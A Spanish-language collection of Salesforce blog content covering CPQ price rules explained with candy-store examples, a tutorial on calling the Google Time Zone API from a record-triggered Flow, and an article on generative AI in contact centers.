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Cuando la casilla de verificación "Activo" está marcada, indica que la regla de precios está activa y solo entonces se evaluará durante el proceso de cálculo de precios. Las reglas de precio inactivas no se evalúan y sus condiciones y acciones se ignoran.

¿Cómo afecta el campo Orden de evaluación a la aplicación de las Reglas de precios?

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El “Orden de Evaluación” en una Regla de Precios es fundamental para definir la secuencia en la que se evalúan las reglas durante el proceso de cálculo de precios. Ayuda a establecer la prioridad y la jerarquía de las reglas cuando se aplican varias reglas. Las reglas con valores de orden de evaluación más bajos se evalúan primero.

Ejemplo de Orden de Evaluación:

Regla 1: Descuento para barras de chocolate

Orden de evaluación: 1

Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

Acción: Aplicar un 10% de descuento sobre el precio de la barra de chocolate.

Regla 2: compre uno, llévese otro gratis

Orden de evaluación: 2

Condición: la cantidad es mayor o igual a 2

Acción: Proporcionar un dulce gratis por cada dos dulces comprados.

En este ejemplo, la regla 1 tiene un orden de evaluación de 1, mientras que la regla 2 tiene un orden de evaluación de 2.

La regla 1 se evaluará primero, seguida de la regla 2.

Ahora, veamos cómo la Orden de Evaluación impacta el cálculo de precios:

Supongamos que un cliente agrega dos barras de chocolate a su carrito. La Orden de Evaluación dicta la secuencia de ejecución de la regla. La regla 1, con un Orden de Evaluación inferior a 1, se evaluará primero.

Regla 1 (Orden de evaluación 1):

Dado que el tipo de caramelo es una “Barra de Chocolate” (condición cumplida), se aplica un descuento del 10% sobre el precio de cada barra de chocolate.

Regla 2 (Orden de Evaluación 2):

La cantidad es 2 (condición cumplida), pero la regla 2 no se evaluará porque la regla 1 ya se aplicó.

Como resultado, el cliente recibe un 10% de descuento en cada barra de chocolate y no hay cambios debido a la Regla 2.

Nota: La regla 1 se evalúa primero y la regla 2 se omite porque la regla 1 ya se ha aplicado. Sólo se aplicará la primera regla. Esto se debe a que el Orden de evaluación determina la secuencia en la que se evalúan las reglas y, una vez que se aplica una regla, se omiten las reglas posteriores con valores de Orden de evaluación más altos.

¿Qué sucede si queremos que se apliquen las reglas de precios y que no se omita ninguna según el Orden de evaluación?

Si desea que se apliquen ambas reglas sin omitir ninguna de ellas, deberá asegurarse de que ambas reglas tengan el mismo valor de Orden de evaluación. Al asignar el mismo Orden de Evaluación a ambas reglas, indica que tienen la misma prioridad, y ambas serán evaluadas y aplicadas si se cumplen sus respectivas condiciones.

Modifiquemos el ejemplo para ilustrar esto:

1. Regla 1: Descuento para barras de chocolate

– Orden de Evaluación: 1

– Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

– Acción: Aplicar un 10% de descuento sobre el precio de la tableta de chocolate.

2. Regla 2: compre uno, llévese otro gratis

– Orden de Evaluación: 1

– Condición: La cantidad es mayor o igual a 2

– Acción: Proporcionar un caramelo gratis por cada dos caramelos comprados.

Con esta modificación, ambas reglas tienen un Orden de Evaluación de 1, lo que indica que tienen la misma prioridad.

Supongamos que un cliente agrega dos barras de chocolate a su carrito: la regla 1 y la regla 2, ambas con el orden de evaluación 1, se evaluarán en el orden en que aparecen.

– Regla 1 (Orden de Evaluación 1):

– Dado que el tipo de caramelo es una “Barra de Chocolate” (condición cumplida), se aplica un 10% de descuento sobre el precio de cada barra de chocolate.

– Regla 2 (Orden de Evaluación 1):

– La cantidad es 2 (condición cumplida), y como ambas reglas tienen el mismo Orden de Evaluación, también se evalúa la Regla 2.

– Se ejecuta la acción de la Regla 2, entregando un caramelo gratis por cada dos caramelos comprados.

En este escenario, dado que ambas reglas tienen el mismo Orden de Evaluación, se evalúan en el orden en que aparecen y ambas reglas se aplican si se cumplen sus condiciones. El cliente recibe un 10% de descuento en cada barra de chocolate y recibe un dulce gratis debido a la Regla 2.

¿Cómo puede definir condiciones complejas usando la función de Condición avanzada en una regla de precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

Expliquemos la Condición Avanzada en una Regla de Precio usando un ejemplo de caramelo:

Escenario de regla:

– Desea crear una regla de precio para los dulces que son del tipo “Gummy Bear”, tienen un sabor a “Fresa” o se encuentran dentro de un rango de precios de $1 a $5.

Creando la Condición Avanzada:

– Con la función Condición avanzada, puede definir una condición compleja que involucre múltiples campos y valores de comparación.

– En este caso, configuraría la Condición de precio asociada con la regla de precio con los siguientes componentes:

– Condición 1: Tipo de Caramelo es igual a “Osito de Gominola”

– Condición 2: Sabor igual a “Fresa”

– Condición 3: El precio está entre $1 y $5

(Candy_Type__c = 'Gummy Bear' && Flavor__c = 'Fresa') || (Precio__c >= 1 && Precio__c <= 5)

Tal como es (1 Y 2) O 3, implementaremos esta lógica utilizando la condición avanzada

¿Qué es el campo Producto en la regla de precio?

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Expliquemos el campo “Producto” en una Regla de Precio usando un ejemplo de dulces de una manera simple y fácil de entender:

Imagina que tienes una tienda de dulces con una variedad de dulces, como piruletas, barras de chocolate y ositos de goma. Cada caramelo tiene su propio precio. Ahora, hablemos del campo “Producto” en una regla de precio:

1. Selección de un producto de caramelo:

– El campo “Producto” en una regla de precio le permite elegir un dulce específico del inventario de su tienda.

– Por ejemplo, puede seleccionar el caramelo “Gummy Bears” como el producto de destino para la regla de precio.

2. Aplicar acciones de fijación de precios a los dulces seleccionados:

– Una vez que haya seleccionado el caramelo "Gummy Bears" en el campo "Producto", puede definir las acciones de fijación de precios que se aplicarán específicamente a ese caramelo.

– Las acciones de fijación de precios pueden incluir cosas como descuentos u ofertas especiales.

– Por ejemplo, puede crear una regla de precio que proporcione un 10 % de descuento en el precio de los dulces “Gummy Bears”.

3. Creación de condiciones divertidas (opcional):

También puede establecer condiciones divertidas en función de las características de los dulces seleccionados.

Por ejemplo, puede crear una condición que aplique la regla del precio solo si el caramelo "Gummy Bears" es de color rojo.

Podemos agregar el producto en el campo de objeto de búsqueda en lugar del campo de producto en Salesforce, ¿cuál es la diferencia?

¡Estás en lo correcto! Además de seleccionar el producto directamente en el campo "Producto" de una regla de precios, también tiene la opción de hacer referencia al producto a través de un campo de relación de búsqueda utilizando un objeto de búsqueda. Exploremos la diferencia entre los dos enfoques:

1. Campo de producto:

– Cuando selecciona el producto directamente en el campo “Producto” de la Regla de precio, está asociando la regla de precio directamente con un producto específico.

– Este enfoque es útil cuando desea definir acciones o condiciones de fijación de precios que se aplican a un producto o grupo de productos en particular.

– Es una forma sencilla de orientar productos específicos dentro de su catálogo y definir reglas exclusivamente para esos productos.

2. Objeto de búsqueda:

– Con un objeto de búsqueda, puede establecer una relación entre la Regla de precio y otro objeto en Salesforce, como un objeto personalizado o un objeto estándar como una Cuenta u Oportunidad.

– Esto le permite hacer referencia al producto indirectamente a través del objeto relacionado.

– Mediante el uso de una relación de búsqueda, puede definir acciones o condiciones de fijación de precios en función de los datos tanto del objeto relacionado como del producto asociado.

– Este enfoque proporciona más flexibilidad en la creación de reglas que dependen de la información de otros objetos además del propio producto.

La elección entre usar el campo directo "Producto" o un objeto de búsqueda depende de su caso de uso y requisitos específicos. Si solo necesita segmentar y definir reglas para productos específicos, el uso del campo "Producto" suele ser suficiente. Sin embargo, si su lógica de precios involucra datos de objetos relacionados o requiere relaciones más complejas, puede ser beneficioso utilizar un objeto de búsqueda.

¿Cómo se especifican los grupos de productos a los que se aplica la regla de precios?

Expliquemos la implementación de grupos de productos en Reglas de precios usando un ejemplo de dulces:

1. Definir grupos de productos:

-Cree un campo personalizado de "Grupo de productos" en el objeto del producto. Establecer el valor del campo con

  • Caramelos Gomosos
  • Caramelos De Chocolate

2. Asignar atributos del producto:

– Establezca el campo "Grupo de productos" en el objeto del producto en "Caramelos de goma" para los productos de ositos de goma y gusanos de goma.

– Establezca el campo "Grupo de productos" en el objeto de producto en "Caramelos de chocolate" para barras de chocolate y productos de frutos secos cubiertos de chocolate.

3. Cree o edite una regla de precios:

– Cree una nueva regla de precios o edite una existente haciendo clic en el botón "Nuevo" o seleccionando la regla de precios deseada.

4. Asociar con el Objeto Producto:

– En el registro de Regla de precio, localice el campo de búsqueda o el campo de producto que le permite asociar la Regla de precio con el objeto que contiene el campo “Grupo de productos” (en este caso, el objeto Producto).

5. Definir condiciones:

– Dentro de la Regla de Precio, defina las condiciones de precio que especifican los grupos de productos.

– Elija el campo que representa el grupo de productos, como el campo “Grupo de productos” en el objeto asociado (objeto Producto).

– Configure el operador adecuado (p. ej., “Es igual a”) y el valor deseado para el grupo de productos (p. ej., “Caramelos de goma”).

Ejemplo: Condición 1

– Campo: Producto: Grupo de productos

– Operador: Igual

– Valor: “Caramelos de goma”

Ejemplo: Condición 2

– Campo: Producto: Grupo de productos

– Operador: Igual

– Valor: “Caramelos de Chocolate”

6. Especificar acciones de fijación de precios:

– Una vez que se cumplan las condiciones, defina las acciones de fijación de precios que desea aplicar a los productos en los grupos de productos específicos.

– Configure las acciones de fijación de precios en función de sus requisitos, como establecer descuentos, ajustar precios o aplicar cualquier otra lógica de fijación de precios que desee.

Ejemplo: Precio Acción 1

– Si se cumple la Condición 1 (Grupo de productos es igual a “Caramelos de gominola”), establezca un 10% de descuento en los productos afectados.

Ejemplo: Precio Acción 2

– Si se cumple la Condición 2 (Grupo de Producto es igual a “Dulces de Chocolate”), establecer un precio especial en los productos afectados.

¿Cuáles son algunas de las mejores prácticas para diseñar y configurar reglas de precios en Salesforce CPQ?

1. Definir requisitos claros de fijación de precios:

– Defina claramente sus requisitos de precios y comprenda el comportamiento de precios deseado.

– Identificar las estrategias de precios, las reglas de descuento y los cálculos personalizados necesarios.

2. Estructura de las reglas de precios del plan:

– Planifica la estructura de tus Reglas de Precios de forma lógica y organizada.

– Dividir escenarios de precios complejos en reglas de precios más pequeñas y manejables.

– Esto mejora la capacidad de mantenimiento y facilita la resolución de problemas y las modificaciones.

3. Use nombres de reglas descriptivos:

– Asigne nombres significativos y descriptivos a sus Reglas de precios.

– Esto ayuda a identificar y comprender el propósito de cada regla, especialmente cuando se trata de muchas reglas de precios.

4. Establecer orden de evaluación lógica:

– Establezca el campo Orden de evaluación en el objeto Regla de precio de forma adecuada.

– Controlar la secuencia en la que se evalúan y aplican las Reglas de Precios.

– Asegúrese de que el orden de evaluación se alinee con la lógica y los requisitos de precios previstos.

5. Probar y validar reglas de precios:

– Pruebe y valide exhaustivamente sus reglas de precios con varios escenarios de prueba.

– Verificar que los resultados de la fijación de precios se alineen con los resultados esperados.

– Probar diferentes combinaciones de condiciones, configuraciones de productos y escenarios de precios.

6. Aproveche las condiciones avanzadas:

– Utilice la función Condiciones avanzadas para implementar criterios de reglas complejos.

– Combinar múltiples condiciones utilizando operadores lógicos (AND, OR) y funciones.

– Esto permite una lógica de reglas más compleja y un control más detallado.

7. Reglas de revisión y actualización periódicas:

– Revise periódicamente sus reglas de precios para asegurarse de que se mantengan alineadas con las estrategias de precios en evolución y los requisitos comerciales.

– Actualice las reglas según sea necesario para reflejar los cambios en los productos, los modelos de precios o las estrategias de descuento.

8. Lógica de la regla de precio del documento:

– Documente la lógica y el razonamiento detrás de sus Reglas de precios.

– Esto sirve como referencia para futuras modificaciones y ayuda con la transferencia de conocimiento dentro del equipo.

¿Se pueden usar reglas de precios para actualizar valores de campo en un registro? Explicar.

No, las reglas de precios en Salesforce CPQ se utilizan principalmente para los cálculos y ajustes de precios en lugar de actualizar directamente los valores de los campos en un registro.

Si bien las reglas de precios pueden afectar los resultados y resultados de la fijación de precios, no están diseñadas para actualizar directamente los valores de campo en un registro fuera del contexto de fijación de precios.

¿Cuál es la diferencia entre una regla de precio y un programa de descuento?

Las reglas de precios se utilizan para definir una lógica de precios dinámica y condicional, lo que permite cálculos y acciones complejos basados en condiciones específicas. Por otro lado, los Programas de descuento proporcionan un enfoque estandarizado para aplicar descuentos predefinidos de manera uniforme en múltiples productos o escenarios de precios. Las reglas de precios ofrecen más flexibilidad y opciones de personalización, mientras que los calendarios de descuentos ofrecen una forma coherente y optimizada de gestionar los descuentos.

Expliquemos la diferencia entre una regla de precio y un programa de descuento usando un ejemplo de dulces:

Regla de precio:

– Una regla de precios le permite definir acciones o ajustes de precios específicos basados en ciertas condiciones para dulces individuales o grupos de dulces.

– Por ejemplo, puede crear una regla de precios que aplique un descuento del 10 % a todos los dulces de ositos de goma durante un período promocional.

– Las reglas de precios brindan flexibilidad para aplicar diferentes lógicas de precios, descuentos o ajustes basados en diversas condiciones para dulces o grupos de dulces específicos.

Horario de descuento:

– En el mismo escenario de la tienda de golosinas, se usaría un programa de descuentos para administrar los descuentos estandarizados que se aplican a varios dulces.

– Un calendario de descuentos proporciona un enfoque consistente para aplicar descuentos predefinidos de manera uniforme.

– Por ejemplo, puede crear un programa de descuento llamado "10 % de descuento" que ofrece un 10 % de descuento en todos los dulces en toda la tienda.

– Los Programas de descuento ayudan a mantener precios consistentes en diferentes dulces o niveles de precios, lo que garantiza que se aplique el mismo descuento a varios productos sin necesidad de Reglas de precios individuales.

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Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Última actualización el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo puede aprovechar la API de zona horaria de Google para actualizar automáticamente la información de zona horaria de un cliente potencial en función de sus coordenadas geográficas?

Objetivos:

Después de leer este blog, podrá:

Jestilla Zetkin se desempeña actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desafío único. El objetivo es asegurarse de que, en el momento de la creación, los prospectos de Salesforce (creados a través de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en función de sus respectivas coordenadas geográficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar automáticamente cuatro campos específicos en los clientes potenciales:
    1. dstOffset (la compensación del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicación dada)
    3. timeZoneId (una cadena que identifica de forma única la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acción de contingencia para crear una tarea para el propietario designado del cliente potencial.

¿Qué es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes esté repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes automáticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar automáticamente la zona horaria del cliente potencial en función de sus coordenadas geográficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicación en todo el mundo en función de las coordenadas de latitud y longitud. Este servicio puede ser particularmente útil para los desarrolladores que necesitan ajustar la comunicación de acuerdo con la ubicación geográfica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente información:

  • El ID de la zona horaria , según lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google está sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

¿ Cómo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aquí hay un ejemplo básico de cómo usarlo.

La siguiente solicitud HTTP GET obtiene información de zona horaria para una ubicación en la latitud 40.712776 y longitud -74.005974 (ciudad de Nueva York), y asume que está realizando la solicitud en una determinada marca de tiempo (marca de tiempo UNIX).

 https://maps.googleapis.com/maps/api/timezone/json?location=40.712776,-74.005974&timestamp=1458000000&key=YOUR_API_KEY

En la URL de solicitud anterior, reemplace YOUR_API_KEY con su clave API real.

Aquí hay una respuesta de muestra en formato JSON que la API podría devolver: 



{ "dstOffset": 3600, "compensación sin procesar": -18000, "estado": "OK", "timeZoneId": "América/Nueva_York", "timeZoneName" : "Hora de verano del Este"
}

La respuesta incluye la siguiente información:

  1. dstOffset : La compensación del horario de verano en segundos. Será cero si la zona horaria no está en el horario de verano durante la marca de tiempo especificada.
  2. rawOffset : el desplazamiento de UTC (sin contar el horario de verano) en segundos.
  3. estado : una cadena que indica el estado de la solicitud. “OK” significa que la solicitud fue exitosa.
  4. timeZoneId : una cadena que contiene el ID "tz" de la zona horaria (por ejemplo, "América/Nueva_York").
  5. timeZoneName : una cadena que contiene el nombre de forma larga de la zona horaria (por ejemplo, "hora de verano del este").

Recuerde, en la URL de solicitud, se requiere el parámetro de marca de tiempo y el parámetro de ubicación espera coordenadas de latitud y longitud.

  1. Marca de tiempo : el tiempo deseado en segundos desde la medianoche del 1 de enero de 1970 UTC. La API de zona horaria utiliza la marca de tiempo para determinar si se debe aplicar o no el horario de verano, según la zona horaria de la ubicación.
  2. Ubicación : una tupla de latitud, longitud separada por comas, ubicación = 40.712776, -74.005974, que representa la ubicación para buscar.

Además, no olvide incluir su clave API.

Beneficios de usar la API de zona horaria de Google

La API de zona horaria de Google ofrece una serie de beneficios significativos, especialmente para desarrolladores y empresas que necesitan operar en diferentes zonas horarias. Estos son algunos de los beneficios clave:

  1. Precisión : la API de zona horaria de Google proporciona datos de zona horaria precisos para cualquier ubicación en todo el mundo. Tiene en cuenta tanto la zona horaria 'sin procesar' como el horario de verano, lo que garantiza que siempre tenga la hora local correcta.
  2. Facilidad de uso : la API es fácil de usar y solo requiere la latitud y la longitud como entradas. Devuelve datos en un formato JSON estructurado, que es fácil de analizar y usar en varias aplicaciones.
  3. Cobertura global : la API proporciona datos de zona horaria para ubicaciones en todo el mundo, lo que la hace útil para empresas globales y aplicaciones con bases de usuarios internacionales.
  4. Confiabilidad : como servicio proporcionado por Google, es altamente confiable, lo que garantiza que tenga acceso constante a los datos de la zona horaria cuando los necesite.
  5. Integración : se puede integrar en una variedad de aplicaciones y plataformas, incluidas aplicaciones móviles, servicios web y plataformas de CRM como Salesforce. Esto permite funcionalidades como la programación de comunicaciones en diferentes franjas horarias, etc.
  6. Información actualizada : Google actualiza continuamente sus bases de datos, lo que garantiza que los datos devueltos por la API de zona horaria, como los cambios de horario de verano, estén siempre actualizados.

Al aprovechar estos beneficios, las empresas pueden mejorar la experiencia del cliente, aumentar la eficiencia operativa y garantizar un registro de datos preciso, entre otras ventajas.

Antes de comenzar a usar la API de zona horaria, necesita un proyecto con una cuenta de facturación y la API de zona horaria habilitada. Aquí hay una guía paso a paso para configurar su proyecto de Google Cloud y habilitar la API de zona horaria:

Paso 1: crea o selecciona tu proyecto

  1. Navegue a Google Cloud Console .
  2. Si ha creado un proyecto anteriormente, puede seleccionarlo de la lista desplegable en la parte superior. De lo contrario, haga clic en Nuevo proyecto en la parte superior derecha.
  3. Asigne un nombre a su proyecto y, opcionalmente, también puede editar el ID del proyecto.
  4. Haga clic en Crear para crear el proyecto.

Paso 2: configurar una cuenta de facturación

Debe vincular una cuenta de facturación a su proyecto para usar la API de zona horaria de Google. Así es cómo:

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y haga clic en Facturación .
  2. Si tiene una o más cuentas de facturación, elija una cuenta y asóciela con su proyecto. De lo contrario, haga clic en Crear cuenta , complete el formulario para crear una nueva cuenta de facturación y luego asóciela con su proyecto.

Paso 3: habilite la API de zona horaria

Una vez que haya configurado su proyecto y su cuenta de facturación, puede habilitar la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | biblioteca
  2. En la biblioteca de API, busque API de zona horaria y selecciónela.
  3. En la página de la API de zona horaria, haga clic en Habilitar .

Paso 4: Genere su clave API

Finalmente, necesita una clave de API para autenticar sus solicitudes en la API de zona horaria.

  1. En Google Cloud Console, abra el menú del lado izquierdo de la consola y vaya a API y servicios | Cartas credenciales.
  2. Haga clic en el botón + CREAR CREDENCIALES en la parte superior y seleccione Clave API .
  3. Su nueva clave de API se creará y se mostrará. Cópielo y guárdelo de forma segura. Necesitará esta clave para realizar solicitudes a la API de zona horaria.

Ahora, su proyecto de Google Cloud está todo configurado y puede comenzar a usar la API de zona horaria de Google.

👉 Si bien la API de zona horaria es compatible con OAuth 2.0 y la cuenta de servicio para la autenticación, esta guía se enfoca en el método de clave de API más simple por razones de brevedad. Si necesita un método de autenticación más seguro o complejo, consulte la documentación de autenticación oficial de Google.

Enfoque de Campeón de Automatización (I-do):

Si bien esto se puede resolver utilizando varias herramientas de automatización como Apex Trigger y otras, utilizaremos Salesforce Flow y la función de flujo HTTP Callout (GET) recientemente introducida .

HTTP Callout extrae o envía datos entre la base de datos de Salesforce y un sistema externo a través de Flow Builder sin usar código. Puede configurar integraciones directas según sea necesario sin tener que trabajar con un desarrollador o llamar a una herramienta de middleware, como Mulesoft. Después de configurar la acción de llamada HTTP en un flujo, Flow Builder genera automáticamente un registro de servicio externo , una acción invocable y una clase de Apex que puede usar para crear un recurso definido por Apex para flujos. A continuación, puede utilizar la salida de datos de la solicitud de la API como entrada en Flow Builder y en Salesforce.

Puede usar HTTP Callout para conectar un flujo a una variedad de API.

  • Obtener información de direcciones usando una API de mapa
  • Obtén las condiciones meteorológicas con una API de servicios meteorológicos
  • Genere el código de barras con una API de servicio de código de barras
  • Obtenga información de autorización de pago con una API de procesamiento de pagos
  • y mucho más

Antes de discutir la solución, permítame mostrarle un diagrama del proceso a un alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo.

Comencemos a construir este proceso de automatización.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito empresarial de Jestilla mediante Record-Triggered After-Save Flow . Debemos:

  1. Cree campos personalizados en el cliente potencial para almacenar la respuesta
  2. Crear una credencial con nombre
  3. Flujo de fuerza de ventas
    1. Definir propiedades de flujo para el flujo desencadenado por registro
    2. Agregue una fórmula para calcular la marca de tiempo
    3. Configurar una llamada HTTP GET para la API de zona horaria
    4. Agregue un elemento de decisión para verificar el código de respuesta
    5. Agregue un elemento Actualizar registros para actualizar el prospecto
    6. Agregue un elemento Crear registros para crear una tarea para que el propietario del cliente potencial maneje la respuesta de error

Paso 1: Cree campos personalizados en el objeto principal para almacenar la respuesta

En este paso, hemos establecido campos personalizados dentro del objeto principal. Estos servirán como repositorios para los datos de respuesta de la API de zona horaria de Google.

Etiqueta de campo Nombre de API de campo Tipo de datos
dstOffset dstOffset __c Número (18,0)
rawOffset rawOffset__c Número (18,0)
Posición actual Posición_actual__c Geolocalización
Identificación de zona horaria Time_Zone_Id__c Texto (255)
Nombre de zona horaria
 Nombre_de_la_zona_horaria__c Texto (255)

Paso 2: crear una credencial con nombre

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, ingrese Credenciales con nombre y luego seleccione Credenciales con nombre .
  3. Haga clic en Nuevo legado .
  4. Rellene la página con la URL y los parámetros de autenticación del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opción Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posición_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condición
    6. Fila 2:
      1. Campo : Posición_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acción y registros relacionados
    8. Elija la opción para incluir una ruta de ejecución asíncrona para acceder a un sistema externo después de que la transacción original para el registro de activación se confirme con éxito .
  5. Haga clic en Listo.

Paso 3.2: fórmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la época de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Fórmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : Número
    4. Lugares decimales : 0
    5. Fórmula : RONDA((AHORA() – FECHAHORAVALUE(“1970-01-01 00:00:00”)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acción de llamada HTTP GET

HTTP Callout lo guía a través de la introducción de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se está conectando. Después de completar la configuración, invoca la acción en un flujo.

  1. En el nodo Ejecutar asincrónicamente , seleccione Acción .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que creó en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acción invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acción que realiza la llamada.
    2. Método : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de parámetros de consulta si la API a la que está llamando las tiene. Cuando usa esta acción en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicación
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la sección Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra . 
       { "timeZoneName": "cadena de muestra", "compensación sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
}
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4 formas en que su centro de contacto puede comenzar con IA generativa

4 formas en que su centro de contacto puede comenzar con IA generativa

El tema más candente en el servicio hoy en día es la IA generativa, especialmente en el centro de contacto. El 84 % de los líderes de TI que encuestamos en un estudio reciente dicen que la IA generativa ayudará a su organización a atender mejor a los clientes, y todos los días hablo con líderes de servicio que están entusiasmados con el potencial de la IA generativa del centro de contacto.

Sin embargo, solo el 24 % utiliza alguna forma de IA del centro de contacto. ¿Qué hay en el camino? El 66% dice que sus empleados no tienen las habilidades adecuadas para poner en uso con éxito la IA generativa. Así que echemos un vistazo a las cuatro formas en que puede usar la IA del centro de contacto, junto con ejemplos de casos de uso y consejos que lo ayudarán a comenzar.

Modernice su centro de contacto

La combinación correcta de canales de atención al cliente y herramientas de IA puede ayudarlo a ser más eficiente y mejorar la satisfacción del cliente. Nuestra guía revela cómo las organizaciones de servicio de alto rendimiento lo hacen posible.

1. Generar respuestas de servicio a los clientes

Su centro de contacto ofrece múltiples formas para que los clientes se comuniquen con su empresa, desde teléfono hasta correo electrónico, chat y SMS. Si bien muchos clientes todavía usan el teléfono, el 57% ahora prefiere usar canales digitales. Sus agentes que trabajan en estos canales digitales deben brindar información precisa y relevante, responder de manera oportuna y resolver el problema del cliente rápidamente.

Entonces, ¿cómo puede ayudar la IA generativa ? Los grandes modelos de lenguaje que impulsan la IA generativa pueden generar automáticamente una respuesta similar a la humana a cualquier pregunta. Cuando se basa en los datos y la base de conocimientos de sus clientes, puede personalizar estas respuestas generadas, haciéndolas más confiables. Los agentes pueden revisar las sugerencias del modelo y enviarlas fácilmente. Para los agentes que trabajan en varios casos a la vez, la IA del centro de contacto puede ser un verdadero ahorro de tiempo.

Veamos un ejemplo de una compañía ficticia de Internet que llamaremos Nation-Wide Web.

Jane es cliente de Nation-Wide Web y nota un cargo inusual en su factura. Jane abre un mensaje de chat en el sitio web de la empresa y pronto se conecta con una agente, Katie.

Katie tiene abiertas algunas ventanas de mensajes de clientes, una de ellas es Jane. Jane comparte sus preocupaciones sobre su factura. Aparentemente, Jane revisó su paquete de datos del mes. La herramienta de inteligencia artificial del centro de contacto usa la pregunta de Jane y el contexto del estado de su cuenta para generar un mensaje personalizado que explica este cargo en un tono empático, pero también que está dentro de la política de la empresa renunciar a la tarifa dadas las circunstancias.

Katie revisa el mensaje y confirma la política, luego envía el mensaje y elimina el cargo de la cuenta de Jane. Jane está contenta de haber obtenido una solución rápida y sencilla y Katie puede centrar su atención en los clientes con problemas más complejos.

Consejo: Tomarse el tiempo para revisar la precisión y el tono de cualquier comunicación con el cliente ayuda a evitar malentendidos.

2. Generación de resúmenes de casos

Para brindarle a su cliente una gran experiencia, necesita datos precisos para rastrear y optimizar las interacciones de servicio de su empresa. Esto hace que el resumen de recapitulación que hacen sus agentes después de que se cierra un caso sea uno de los datos de servicio más cruciales que su empresa puede recopilar.

¿El reto? Esta es una tarea que requiere mucho tiempo y evita que sus agentes ayuden a otros clientes.

Pero la IA del centro de contacto puede tomar las conversaciones de chat y correo electrónico más complejas y generar un resumen propuesto. Su agente solo necesita revisar estos resúmenes antes de que se guarden en el registro de casos. Esto ahorra a los agentes una tonelada de tiempo y esfuerzo en la entrada de datos.

Volvamos a nuestro ejemplo de Nation-Wide Web.

Si recuerda, la herramienta de inteligencia artificial de Katie generó una respuesta para Jane y todo lo que Katie tuvo que hacer fue revisar el mensaje, presionar enviar y cancelar la tarifa de la cuenta de Jane. Mientras tanto, la IA está utilizando los datos del hilo de mensajes y las acciones que Katie realizó en la cuenta de Jane para generar un resumen del caso.

Una vez completada la conversación con Jane, Katie puede leer este resumen propuesto, ajustar algunos detalles y guardarlo en el expediente del caso. Reducir el trabajo posterior a la llamada ayuda a Katie a ayudar a otros clientes más rápido.

